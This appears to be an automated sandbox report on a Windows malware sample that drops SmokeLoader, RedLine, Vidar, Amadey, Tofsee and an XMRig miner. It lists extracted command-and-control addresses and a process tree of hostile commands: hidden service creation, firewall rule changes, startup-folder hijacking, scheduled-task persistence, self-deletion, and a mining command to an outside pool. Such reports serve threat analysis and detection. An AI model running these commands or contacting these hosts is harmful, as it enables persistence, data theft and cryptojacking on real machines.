Analysis

  • max time kernel
    151s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18/12/2021, 07:56

General

  • Target
    b581478dba5d79dc2502f02a0cbdb44a.exe
  • Size 300KB
  • Sample211218-jspblafdfm
  • SHA256 a3176dc8b23256fb326ca2198e98d848cd38988d9e5d2d0a228ea17e070f27d1
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • mubrikych.top

  • oxxyfix.xyz

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 86.107.197.138:38133

Extracted

Family
  • vidar

Version
  • 49.1

Botnet
  • 1100

C2
  • https://noc.social/@sergeev46

  • https://c.im/@sergeev47

Attributes
  • profile_id

    1100

Extracted

Family
  • amadey

Version
  • 2.86

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • Bazar Loader

    Detected loader normally used to deploy BazarBackdoor malware.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Bazar/Team9 Loader payload 2 IoCs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b581478dba5d79dc2502f02a0cbdb44a.exe
    "C:\Users\Admin\AppData\Local\Temp\b581478dba5d79dc2502f02a0cbdb44a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2728
    • C:\Users\Admin\AppData\Local\Temp\b581478dba5d79dc2502f02a0cbdb44a.exe
      "C:\Users\Admin\AppData\Local\Temp\b581478dba5d79dc2502f02a0cbdb44a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:512
  • C:\Users\Admin\AppData\Local\Temp\148E.exe
    C:\Users\Admin\AppData\Local\Temp\148E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1244
    • C:\Users\Admin\AppData\Local\Temp\148E.exe
      C:\Users\Admin\AppData\Local\Temp\148E.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2568
  • C:\Users\Admin\AppData\Local\Temp\21FC.exe
    C:\Users\Admin\AppData\Local\Temp\21FC.exe
    1⤵
    • Executes dropped EXE
    PID:1240
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1240 -s 476
      2⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:416
  • C:\Users\Admin\AppData\Local\Temp\7BD5.exe
    C:\Users\Admin\AppData\Local\Temp\7BD5.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:2300
  • C:\Windows\system32\regsvr32.exe
    regsvr32 /s C:\Users\Admin\AppData\Local\Temp\7F03.dll
    1⤵
    • Loads dropped DLL
    PID:1856
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\7F03.dll,DllRegisterServer {6C514F6C-F605-46DC-B5BA-34B789631401}
    1⤵
    • Loads dropped DLL
    PID:1724
  • C:\Users\Admin\AppData\Local\Temp\8C23.exe
    C:\Users\Admin\AppData\Local\Temp\8C23.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8C23.exe" & exit
      2⤵
        PID:3960
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:3632
    • C:\Users\Admin\AppData\Local\Temp\9338.exe
      C:\Users\Admin\AppData\Local\Temp\9338.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1984
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ugqiijts\
        2⤵
          PID:1632
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kllpmvne.exe" C:\Windows\SysWOW64\ugqiijts\
          2⤵
            PID:848
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create ugqiijts binPath= "C:\Windows\SysWOW64\ugqiijts\kllpmvne.exe /d\"C:\Users\Admin\AppData\Local\Temp\9338.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:3108
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description ugqiijts "wifi internet conection"
              2⤵
                PID:3152
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start ugqiijts
                2⤵
                  PID:2696
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:1728
                • C:\Users\Admin\AppData\Local\Temp\A29B.exe
                  C:\Users\Admin\AppData\Local\Temp\A29B.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3200
                  • C:\Users\Admin\AppData\Local\Temp\A29B.exe
                    C:\Users\Admin\AppData\Local\Temp\A29B.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3232
                • C:\Windows\SysWOW64\ugqiijts\kllpmvne.exe
                  C:\Windows\SysWOW64\ugqiijts\kllpmvne.exe /d"C:\Users\Admin\AppData\Local\Temp\9338.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:1328
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1668
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1940
                • C:\Users\Admin\AppData\Local\Temp\FCA3.exe
                  C:\Users\Admin\AppData\Local\Temp\FCA3.exe
                  1⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  PID:3188
                • C:\Users\Admin\AppData\Local\Temp\FF82.exe
                  C:\Users\Admin\AppData\Local\Temp\FF82.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2124
                  • C:\Users\Admin\AppData\Local\Temp\build_FullCrypt.exe
                    "C:\Users\Admin\AppData\Local\Temp\build_FullCrypt.exe"
                    2⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Checks processor information in registry
                    PID:2180
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c taskkill /im build_FullCrypt.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\build_FullCrypt.exe" & del C:\ProgramData\*.dll & exit
                      3⤵
                        PID:772
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /im build_FullCrypt.exe /f
                          4⤵
                          • Kills process with taskkill
                          PID:3876
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 6
                          4⤵
                          • Delays execution with timeout.exe
                          PID:2396
                    • C:\Users\Admin\AppData\Local\Temp\1234.exe
                      "C:\Users\Admin\AppData\Local\Temp\1234.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3452
                  • C:\Users\Admin\AppData\Local\Temp\4E2.exe
                    C:\Users\Admin\AppData\Local\Temp\4E2.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1296
                  • C:\Users\Admin\AppData\Local\Temp\D6F.exe
                    C:\Users\Admin\AppData\Local\Temp\D6F.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2724
                    • C:\Users\Admin\AppData\Local\Temp\a_2021-12-17_20-49.exe
                      "C:\Users\Admin\AppData\Local\Temp\a_2021-12-17_20-49.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:2044
                      • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                        3⤵
                        • Executes dropped EXE
                        PID:588
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                          4⤵
                            PID:3592
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                              5⤵
                                PID:3744
                            • C:\Windows\SysWOW64\schtasks.exe
                              "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                              4⤵
                              • Creates scheduled task(s)
                              PID:2020
                      • C:\Users\Admin\AppData\Local\Temp\1C06.exe
                        C:\Users\Admin\AppData\Local\Temp\1C06.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        PID:1988

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            memory/512-116-0x0000000000400000-0x0000000000409000-memory.dmp

                            memory/588-315-0x0000000000960000-0x0000000000AAA000-memory.dmp

                            memory/588-314-0x0000000000400000-0x000000000082C000-memory.dmp

                            memory/588-312-0x0000000000960000-0x0000000000AAA000-memory.dmp

                            memory/1240-129-0x0000000000726000-0x0000000000737000-memory.dmp

                            memory/1240-131-0x0000000000400000-0x00000000004CD000-memory.dmp

                            memory/1240-130-0x00000000004E0000-0x00000000004E9000-memory.dmp

                            memory/1244-125-0x00000000007D6000-0x00000000007E7000-memory.dmp

                            memory/1296-265-0x00000000055F0000-0x0000000005AEE000-memory.dmp

                            memory/1296-255-0x00000000055F0000-0x0000000005AEE000-memory.dmp

                            memory/1296-253-0x0000000005780000-0x0000000005781000-memory.dmp

                            memory/1296-246-0x0000000000E30000-0x0000000000E31000-memory.dmp

                            memory/1328-206-0x0000000000400000-0x00000000004CD000-memory.dmp

                            memory/1668-204-0x0000000000D50000-0x0000000000D65000-memory.dmp

                            memory/1668-208-0x0000000000C60000-0x0000000000C61000-memory.dmp

                            memory/1668-210-0x0000000000C60000-0x0000000000C61000-memory.dmp

                            memory/1724-161-0x000002C5A9790000-0x000002C5A995E000-memory.dmp

                            memory/1856-151-0x0000000002050000-0x000000000221E000-memory.dmp

                            memory/1940-233-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                            memory/1940-227-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                            memory/1984-183-0x0000000000400000-0x00000000004CD000-memory.dmp

                            memory/1984-182-0x00000000001D0000-0x00000000001E3000-memory.dmp

                            memory/1988-277-0x0000000076830000-0x00000000769F2000-memory.dmp

                            memory/1988-276-0x00000000009E0000-0x00000000009E1000-memory.dmp

                            memory/1988-285-0x0000000000ED0000-0x0000000000F7E000-memory.dmp

                            memory/1988-275-0x0000000000D90000-0x0000000000EC4000-memory.dmp

                            memory/1988-287-0x0000000005750000-0x0000000005751000-memory.dmp

                            memory/2044-298-0x0000000000830000-0x000000000097A000-memory.dmp

                            memory/2044-299-0x0000000000830000-0x000000000097A000-memory.dmp

                            memory/2044-301-0x0000000000400000-0x000000000082C000-memory.dmp

                            memory/2044-168-0x0000000000400000-0x00000000004CD000-memory.dmp

                            memory/2044-166-0x0000000000530000-0x000000000067A000-memory.dmp

                            memory/2124-226-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

                            memory/2124-235-0x00000000014B0000-0x00000000014B1000-memory.dmp

                            memory/2124-234-0x0000000005550000-0x0000000005551000-memory.dmp

                            memory/2180-293-0x00000000022D0000-0x00000000023A9000-memory.dmp

                            memory/2180-294-0x0000000000400000-0x0000000000541000-memory.dmp

                            memory/2300-136-0x00000000011A0000-0x0000000001209000-memory.dmp

                            memory/2300-139-0x0000000076830000-0x00000000769F2000-memory.dmp

                            memory/2300-141-0x0000000076640000-0x0000000076731000-memory.dmp

                            memory/2300-142-0x00000000011A0000-0x00000000011A1000-memory.dmp

                            memory/2300-152-0x00000000055B0000-0x00000000055B1000-memory.dmp

                            memory/2300-153-0x0000000073A40000-0x0000000073FC4000-memory.dmp

                            memory/2300-146-0x0000000070E90000-0x0000000070F10000-memory.dmp

                            memory/2300-154-0x0000000074BE0000-0x0000000075F28000-memory.dmp

                            memory/2300-150-0x0000000005540000-0x0000000005541000-memory.dmp

                            memory/2300-155-0x00000000055C0000-0x00000000055C1000-memory.dmp

                            memory/2300-147-0x0000000005BD0000-0x0000000005BD1000-memory.dmp

                            memory/2300-148-0x00000000054E0000-0x00000000054E1000-memory.dmp

                            memory/2300-156-0x000000006F150000-0x000000006F19B000-memory.dmp

                            memory/2300-138-0x0000000000FB0000-0x0000000000FF5000-memory.dmp

                            memory/2300-137-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

                            memory/2300-149-0x00000000056D0000-0x00000000056D1000-memory.dmp

                            memory/2724-260-0x0000000000C80000-0x0000000000C81000-memory.dmp

                            memory/2724-262-0x00000000054E0000-0x00000000054E1000-memory.dmp

                            memory/2724-263-0x00000000016F0000-0x00000000016F1000-memory.dmp

                            memory/2728-115-0x00000000001D0000-0x00000000001D9000-memory.dmp

                            memory/3040-132-0x0000000000FC0000-0x0000000000FD6000-memory.dmp

                            memory/3040-118-0x0000000000DD0000-0x0000000000DE6000-memory.dmp

                            memory/3188-266-0x0000000002DF4000-0x0000000002DF5000-memory.dmp

                            memory/3188-270-0x0000000002DF5000-0x0000000002DF7000-memory.dmp

                            memory/3188-271-0x0000000002DF7000-0x0000000002DF9000-memory.dmp

                            memory/3188-222-0x0000000002DF0000-0x0000000002DF2000-memory.dmp

                            memory/3200-173-0x0000000004FD0000-0x0000000004FD1000-memory.dmp

                            memory/3200-176-0x0000000005050000-0x0000000005051000-memory.dmp

                            memory/3200-171-0x00000000006E0000-0x00000000006E1000-memory.dmp

                            memory/3200-174-0x0000000001140000-0x0000000001141000-memory.dmp

                            memory/3200-175-0x0000000005800000-0x0000000005801000-memory.dmp

                            memory/3200-178-0x00000000010B0000-0x00000000010B1000-memory.dmp

                            memory/3232-187-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/3232-201-0x0000000005840000-0x0000000005841000-memory.dmp

                            memory/3232-216-0x00000000076B0000-0x00000000076B1000-memory.dmp

                            memory/3232-215-0x0000000006FB0000-0x0000000006FB1000-memory.dmp

                            memory/3232-209-0x00000000063E0000-0x00000000063E1000-memory.dmp

                            memory/3232-200-0x0000000005410000-0x0000000005A16000-memory.dmp

                            memory/3452-264-0x0000000004D90000-0x000000000528E000-memory.dmp

                            memory/3452-245-0x0000000000560000-0x0000000000561000-memory.dmp

                            memory/3452-256-0x0000000004D90000-0x000000000528E000-memory.dmp